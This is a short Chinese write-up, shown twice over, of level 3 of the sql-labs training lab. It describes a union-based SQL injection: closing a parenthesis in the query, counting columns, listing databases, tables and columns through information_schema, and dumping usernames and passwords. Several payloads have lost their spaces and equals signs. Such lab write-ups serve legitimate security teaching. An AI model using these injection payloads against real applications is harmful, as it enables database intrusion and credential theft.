传入?id1和2-1发现回显不一样排除字符型注入直接裸单引号注入发现报错错误内容为1) LIMIT 0,1把1’还原成$id并把括号配对成功可以推断原题可能为($id)LIMIT0,1所以还需要闭合小括号1)--回显正常接下来和前两道题一样判断列数找数据库名表名字段内容显示用户信息?id1) order by 3-- ?id1)order by4--?id-1)unionselect1,1,database()--?id-1) union select 1,1,group_concat(table_name) from information_schema.tables where table_schemasecurity --?id-1) union select 1,1,group_concat(column_name) from information_schema.columns where table_nameusers --?id-1)unionselect1,1,group_concat(username,id,password)fromusers--
sql-labs 第三关
发布时间：2026/7/13 4:10:12
传入?id1和2-1发现回显不一样排除字符型注入直接裸单引号注入发现报错错误内容为1) LIMIT 0,1把1’还原成$id并把括号配对成功可以推断原题可能为($id)LIMIT0,1所以还需要闭合小括号1)--回显正常接下来和前两道题一样判断列数找数据库名表名字段内容显示用户信息?id1) order by 3-- ?id1)order by4--?id-1)unionselect1,1,database()--?id-1) union select 1,1,group_concat(table_name) from information_schema.tables where table_schemasecurity --?id-1) union select 1,1,group_concat(column_name) from information_schema.columns where table_nameusers --?id-1)unionselect1,1,group_concat(username,id,password)fromusers--
